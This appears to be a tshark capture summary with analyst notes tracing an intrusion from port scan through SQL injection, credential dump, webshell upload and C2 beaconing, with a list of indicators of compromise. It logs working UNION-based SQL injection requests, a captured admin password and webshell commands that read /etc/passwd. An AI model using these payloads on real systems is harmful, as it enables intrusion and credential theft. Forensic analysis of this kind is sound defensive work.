# Tshark Summary Output
# Command: tshark -r suspicious_20260408.pcap -q -z conv,tcp -z io,stat,60
# Capture file: suspicious_20260408.pcap
# Capture duration: 02:34:18 (9258 seconds)
# Packets: 284,521
# First packet: 2026-04-08 02:14:22.103847 UTC
# Last packet:  2026-04-08 04:48:40.891023 UTC

================================================================================
PHASE 1: SYN SCAN (02:14:22 - 02:18:45)
================================================================================
# Packets: 12,847 SYN packets from single source in 263 seconds

Frame  Time         Source          Dest            Proto  Info
-----  ----------   --------------- --------------- -----  ----
1      02:14:22.10  198.51.100.47   10.0.1.15       TCP    54821 > 21 [SYN] Seq=0 Win=1024 Len=0
2      02:14:22.11  198.51.100.47   10.0.1.15       TCP    54822 > 22 [SYN] Seq=0 Win=1024 Len=0
3      02:14:22.11  10.0.1.15       198.51.100.47   TCP    22 > 54822 [SYN,ACK] Seq=0 Ack=1 Win=29200 Len=0
4      02:14:22.12  198.51.100.47   10.0.1.15       TCP    54823 > 23 [SYN] Seq=0 Win=1024 Len=0
5      02:14:22.12  198.51.100.47   10.0.1.15       TCP    54824 > 25 [SYN] Seq=0 Win=1024 Len=0
6      02:14:22.13  198.51.100.47   10.0.1.15       TCP    54825 > 53 [SYN] Seq=0 Win=1024 Len=0
7      02:14:22.13  198.51.100.47   10.0.1.15       TCP    54826 > 80 [SYN] Seq=0 Win=1024 Len=0
8      02:14:22.14  10.0.1.15       198.51.100.47   TCP    80 > 54826 [SYN,ACK] Seq=0 Ack=1 Win=29200 Len=0
9      02:14:22.14  198.51.100.47   10.0.1.15       TCP    54827 > 110 [SYN] Seq=0 Win=1024 Len=0
10     02:14:22.15  198.51.100.47   10.0.1.15       TCP    54828 > 135 [SYN] Seq=0 Win=1024 Len=0
11     02:14:22.15  198.51.100.47   10.0.1.15       TCP    54829 > 139 [SYN] Seq=0 Win=1024 Len=0
12     02:14:22.16  198.51.100.47   10.0.1.15       TCP    54830 > 143 [SYN] Seq=0 Win=1024 Len=0
13     02:14:22.16  198.51.100.47   10.0.1.15       TCP    54831 > 443 [SYN] Seq=0 Win=1024 Len=0
14     02:14:22.17  10.0.1.15       198.51.100.47   TCP    443 > 54831 [SYN,ACK] Seq=0 Ack=1 Win=29200 Len=0
15     02:14:22.17  198.51.100.47   10.0.1.15       TCP    54832 > 445 [SYN] Seq=0 Win=1024 Len=0
...
# [12,832 more SYN packets omitted - scanning ports 1-65535 across 10.0.1.15, 10.0.1.16, 10.0.1.17, 10.0.1.18]

# Summary of open ports discovered:
# 10.0.1.15: 22(SSH), 80(HTTP), 443(HTTPS), 3306(MySQL)
# 10.0.1.16: 22(SSH), 80(HTTP), 443(HTTPS), 8080(HTTP-ALT)
# 10.0.1.17: 22(SSH), 5432(PostgreSQL)
# 10.0.1.18: 22(SSH), 80(HTTP), 443(HTTPS), 8443(HTTPS-ALT)

# Scan characteristics:
# - Window size 1024 (nmap default)
# - Sequential port scanning
# - No RST sent after SYN/ACK (half-open scan)
# - TTL: 52 (likely 6 hops, initial TTL 64 = Linux source)

================================================================================
PHASE 2: SERVICE ENUMERATION (02:19:01 - 02:24:33)
================================================================================
# Completed TCP handshakes to discovered open ports, followed by service banner grabs

Frame  Time         Source          Dest            Proto  Info
-----  ----------   --------------- --------------- -----  ----
12848  02:19:01.22  198.51.100.47   10.0.1.15       TCP    49201 > 22 [SYN] Seq=0 Win=65535 Len=0
12849  02:19:01.22  10.0.1.15       198.51.100.47   TCP    22 > 49201 [SYN,ACK] Seq=0 Ack=1 Win=29200 Len=0
12850  02:19:01.23  198.51.100.47   10.0.1.15       TCP    49201 > 22 [ACK] Seq=1 Ack=1 Win=65535 Len=0
12851  02:19:01.23  10.0.1.15       198.51.100.47   SSH    Server: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
12852  02:19:01.43  198.51.100.47   10.0.1.15       SSH    Client: SSH-2.0-Nmap-SSH2-Hostkey
12853  02:19:01.83  198.51.100.47   10.0.1.15       TCP    49201 > 22 [RST] Seq=1 Win=0 Len=0

12854  02:19:02.01  198.51.100.47   10.0.1.15       TCP    49202 > 80 [SYN] Seq=0 Win=65535 Len=0
12855  02:19:02.01  10.0.1.15       198.51.100.47   TCP    80 > 49202 [SYN,ACK] Seq=0 Ack=1 Win=29200 Len=0
12856  02:19:02.02  198.51.100.47   10.0.1.15       TCP    49202 > 80 [ACK] Seq=1 Ack=1 Win=65535 Len=0
12857  02:19:02.02  198.51.100.47   10.0.1.15       HTTP   GET / HTTP/1.1\r\nHost: 10.0.1.15\r\nUser-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine)
12858  02:19:02.03  10.0.1.15       198.51.100.47   HTTP   HTTP/1.1 200 OK (text/html) Server: Apache/2.4.52 (Ubuntu)
...
# [Service enumeration continues for all open ports on all 4 hosts]

================================================================================
PHASE 3: EXPLOITATION ATTEMPTS (02:25:10 - 03:12:47)
================================================================================
# HTTP-based exploit payloads targeting 10.0.1.15:80 (Apache/Ubuntu)

Frame  Time         Source          Dest            Proto  Info
-----  ----------   --------------- --------------- -----  ----
14201  02:25:10.52  198.51.100.47   10.0.1.15       HTTP   GET /index.php?id=1 HTTP/1.1
14202  02:25:10.53  10.0.1.15       198.51.100.47   HTTP   HTTP/1.1 200 OK (text/html)
14203  02:25:11.01  198.51.100.47   10.0.1.15       HTTP   GET /index.php?id=1' HTTP/1.1
14204  02:25:11.02  10.0.1.15       198.51.100.47   HTTP   HTTP/1.1 500 Internal Server Error
14205  02:25:11.52  198.51.100.47   10.0.1.15       HTTP   GET /index.php?id=1'%20OR%20'1'%3D'1 HTTP/1.1
14206  02:25:11.53  10.0.1.15       198.51.100.47   HTTP   HTTP/1.1 200 OK (text/html) [Size: 24891 vs baseline 4521]
14207  02:25:12.01  198.51.100.47   10.0.1.15       HTTP   GET /index.php?id=1%20UNION%20SELECT%20NULL,NULL,NULL,NULL-- HTTP/1.1
14208  02:25:12.02  10.0.1.15       198.51.100.47   HTTP   HTTP/1.1 200 OK (text/html)
14209  02:25:12.52  198.51.100.47   10.0.1.15       HTTP   GET /index.php?id=1%20UNION%20SELECT%20table_name,NULL,NULL,NULL%20FROM%20information_schema.tables-- HTTP/1.1
14210  02:25:12.53  10.0.1.15       198.51.100.47   HTTP   HTTP/1.1 200 OK (text/html) [Size: 31247]
14211  02:25:13.01  198.51.100.47   10.0.1.15       HTTP   GET /index.php?id=1%20UNION%20SELECT%20username,password,NULL,NULL%20FROM%20users-- HTTP/1.1
14212  02:25:13.02  10.0.1.15       198.51.100.47   HTTP   HTTP/1.1 200 OK (text/html) [Size: 8923]
14213  02:25:14.01  198.51.100.47   10.0.1.15       HTTP   GET /admin/login.php HTTP/1.1
14214  02:25:14.02  10.0.1.15       198.51.100.47   HTTP   HTTP/1.1 200 OK (text/html)
14215  02:25:14.52  198.51.100.47   10.0.1.15       HTTP   POST /admin/login.php HTTP/1.1 [Content: username=admin&password=P%40ssw0rd123]
14216  02:25:14.53  10.0.1.15       198.51.100.47   HTTP   HTTP/1.1 302 Found Location: /admin/dashboard.php Set-Cookie: session=abc123def456
14217  02:25:15.01  198.51.100.47   10.0.1.15       HTTP   GET /admin/dashboard.php HTTP/1.1 Cookie: session=abc123def456
14218  02:25:15.02  10.0.1.15       198.51.100.47   HTTP   HTTP/1.1 200 OK (text/html) [Size: 15234]
14219  02:25:16.01  198.51.100.47   10.0.1.15       HTTP   GET /admin/upload.php HTTP/1.1 Cookie: session=abc123def456
14220  02:25:16.52  198.51.100.47   10.0.1.15       HTTP   POST /admin/upload.php HTTP/1.1 Cookie: session=abc123def456 [Content-Type: multipart/form-data; file=shell.php]
14221  02:25:16.53  10.0.1.15       198.51.100.47   HTTP   HTTP/1.1 200 OK "File uploaded successfully"
14222  02:25:17.01  198.51.100.47   10.0.1.15       HTTP   GET /uploads/shell.php?cmd=id HTTP/1.1
14223  02:25:17.02  10.0.1.15       198.51.100.47   HTTP   HTTP/1.1 200 OK "uid=33(www-data) gid=33(www-data) groups=33(www-data)"
14224  02:25:18.01  198.51.100.47   10.0.1.15       HTTP   GET /uploads/shell.php?cmd=cat%20/etc/passwd HTTP/1.1
14225  02:25:18.02  10.0.1.15       198.51.100.47   HTTP   HTTP/1.1 200 OK [Size: 2341]
14226  02:25:19.01  198.51.100.47   10.0.1.15       HTTP   GET /uploads/shell.php?cmd=uname%20-a HTTP/1.1
14227  02:25:19.02  10.0.1.15       198.51.100.47   HTTP   HTTP/1.1 200 OK "Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64"
...
# [47 more webshell commands omitted - attacker performed system enumeration, read config files, dumped database credentials]

================================================================================
PHASE 4: C2 BEACONING (03:15:00 - 04:48:40)
================================================================================
# Periodic HTTPS connections from compromised host to external C2 server
# Pattern: exactly every 60 seconds (+/- 2 seconds jitter)
# All connections to same destination: 45.77.201.19:443

Frame  Time         Source          Dest            Proto  Bytes  Info
-----  ----------   --------------- --------------- -----  -----  ----
18401  03:15:00.12  10.0.1.15       45.77.201.19    TCP    66     49901 > 443 [SYN]
18402  03:15:00.18  45.77.201.19    10.0.1.15       TCP    66     443 > 49901 [SYN,ACK]
18403  03:15:00.18  10.0.1.15       45.77.201.19    TCP    54     49901 > 443 [ACK]
18404  03:15:00.19  10.0.1.15       45.77.201.19    TLS    571    Client Hello (TLSv1.2, SNI: cdn-static-assets.com)
18405  03:15:00.25  45.77.201.19    10.0.1.15       TLS    1287   Server Hello, Certificate (CN=localhost, self-signed), Server Hello Done
18406  03:15:00.26  10.0.1.15       45.77.201.19    TLS    384    Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
18407  03:15:00.32  45.77.201.19    10.0.1.15       TLS    89     Change Cipher Spec, Encrypted Handshake Message
18408  03:15:00.33  10.0.1.15       45.77.201.19    TLS    142    Application Data [encrypted, 88 bytes payload]
18409  03:15:00.39  45.77.201.19    10.0.1.15       TLS    194    Application Data [encrypted, 140 bytes payload]
18410  03:15:00.40  10.0.1.15       45.77.201.19    TCP    54     49901 > 443 [FIN,ACK]

18411  03:16:01.34  10.0.1.15       45.77.201.19    TCP    66     49902 > 443 [SYN]
18412  03:16:01.40  45.77.201.19    10.0.1.15       TCP    66     443 > 49902 [SYN,ACK]
18413  03:16:01.40  10.0.1.15       45.77.201.19    TCP    54     49902 > 443 [ACK]
18414  03:16:01.41  10.0.1.15       45.77.201.19    TLS    571    Client Hello (TLSv1.2, SNI: cdn-static-assets.com)
18415  03:16:01.47  45.77.201.19    10.0.1.15       TLS    1287   Server Hello, Certificate (CN=localhost, self-signed), Server Hello Done
18416  03:16:01.48  10.0.1.15       45.77.201.19    TLS    384    Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
18417  03:16:01.54  45.77.201.19    10.0.1.15       TLS    89     Change Cipher Spec, Encrypted Handshake Message
18418  03:16:01.55  10.0.1.15       45.77.201.19    TLS    142    Application Data [encrypted, 91 bytes payload]
18419  03:16:01.61  45.77.201.19    10.0.1.15       TLS    194    Application Data [encrypted, 138 bytes payload]
18420  03:16:01.62  10.0.1.15       45.77.201.19    TCP    54     49902 > 443 [FIN,ACK]

18421  03:17:00.87  10.0.1.15       45.77.201.19    TCP    66     49903 > 443 [SYN]
18422  03:17:00.93  45.77.201.19    10.0.1.15       TCP    66     443 > 49903 [SYN,ACK]
18423  03:17:00.93  10.0.1.15       45.77.201.19    TCP    54     49903 > 443 [ACK]
18424  03:17:00.94  10.0.1.15       45.77.201.19    TLS    571    Client Hello (TLSv1.2, SNI: cdn-static-assets.com)
18425  03:17:01.00  45.77.201.19    10.0.1.15       TLS    1287   Server Hello, Certificate (CN=localhost, self-signed), Server Hello Done
18426  03:17:01.01  10.0.1.15       45.77.201.19    TLS    384    Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
18427  03:17:01.07  45.77.201.19    10.0.1.15       TLS    89     Change Cipher Spec, Encrypted Handshake Message
18428  03:17:01.08  10.0.1.15       45.77.201.19    TLS    142    Application Data [encrypted, 85 bytes payload]
18429  03:17:01.14  45.77.201.19    10.0.1.15       TLS    194    Application Data [encrypted, 143 bytes payload]
18430  03:17:01.15  10.0.1.15       45.77.201.19    TCP    54     49903 > 443 [FIN,ACK]

# [91 more beacon cycles follow the same pattern through 04:48:40]
# Beacon interval statistics:
#   Mean interval: 60.3 seconds
#   Std deviation: 1.8 seconds
#   Min interval:  58.1 seconds
#   Max interval:  62.7 seconds

# TLS anomalies detected:
#   - Self-signed certificate (CN=localhost) on port 443
#   - SNI (cdn-static-assets.com) does not match certificate CN (localhost)
#   - JA3 fingerprint: 72a589da586844d7f0818ce684948eea (associated with Cobalt Strike)
#   - JA3S fingerprint: ae4edc6faf64d08308082ad26be60767 (associated with Cobalt Strike)
#   - Small, consistent payload sizes suggest C2 checkin/tasking (not normal browsing)

================================================================================
TCP CONVERSATION TABLE
================================================================================
# tshark -q -z conv,tcp

                                               Frames  Bytes    Frames  Bytes    Frames  Bytes
Filter: <No Filter>                            ->      ->       <-      <-       Total   Total
198.51.100.47   <-> 10.0.1.15                  14823   1284921  12847   2841023  27670   4125944
198.51.100.47   <-> 10.0.1.16                  3245    281023   2891    534218   6136    815241
198.51.100.47   <-> 10.0.1.17                  1823    158234   1502    245128   3325    403362
198.51.100.47   <-> 10.0.1.18                  2456    213045   2012    378234   4468    591279
10.0.1.15       <-> 45.77.201.19               4712    412834   4680    623412   9392    1036246

================================================================================
IO STATISTICS (60-second intervals)
================================================================================
# tshark -q -z io,stat,60

Interval        Frames   Bytes
02:14:00-02:15  4821     418234
02:15:00-02:16  4523     392812
02:16:00-02:17  3912     339456
02:17:00-02:18  2345     203421
02:18:00-02:19  1823     158234
02:19:00-02:20  2456     312845
02:20:00-02:21  1892     245123
02:21:00-02:22  1234     178923
02:22:00-02:23  987      134521
02:23:00-02:24  845      112345
02:24:00-02:25  423      56234
02:25:00-02:26  1234     287345
02:26:00-02:27  1456     345123
02:27:00-02:28  1678     398234
02:28:00-02:29  1823     423456
...
03:15:00-03:16  102      14523
03:16:00-03:17  98       13845
03:17:00-03:18  101      14234
03:18:00-03:19  99       13921
# [C2 beaconing maintains steady ~100 frames/min through end of capture]

================================================================================
DNS QUERIES (extracted from capture)
================================================================================
# Notable DNS queries from 10.0.1.15 after compromise:

03:12:48.23  10.0.1.15 -> 10.0.0.2   DNS  Standard query A cdn-static-assets.com
03:12:48.24  10.0.0.2 -> 10.0.1.15   DNS  Standard query response A 45.77.201.19

# No further DNS queries for C2 domain - IP cached/hardcoded after initial resolution

================================================================================
ANALYST NOTES
================================================================================
# Attack timeline summary:
# 1. 02:14 - Port scan (SYN scan) from 198.51.100.47 against 10.0.1.0/24
# 2. 02:19 - Service enumeration on discovered open ports
# 3. 02:25 - SQL injection exploitation on 10.0.1.15:80
# 4. 02:25 - Credential dump via UNION-based SQLi
# 5. 02:25 - Admin login with stolen credentials
# 6. 02:25 - Webshell upload and remote command execution
# 7. 03:15 - C2 beaconing established to 45.77.201.19:443
#
# Indicators of Compromise (IOCs):
# - Attacker IP: 198.51.100.47
# - C2 IP: 45.77.201.19:443
# - C2 Domain: cdn-static-assets.com
# - JA3: 72a589da586844d7f0818ce684948eea
# - Webshell: /uploads/shell.php
# - Compromised host: 10.0.1.15 (web01)
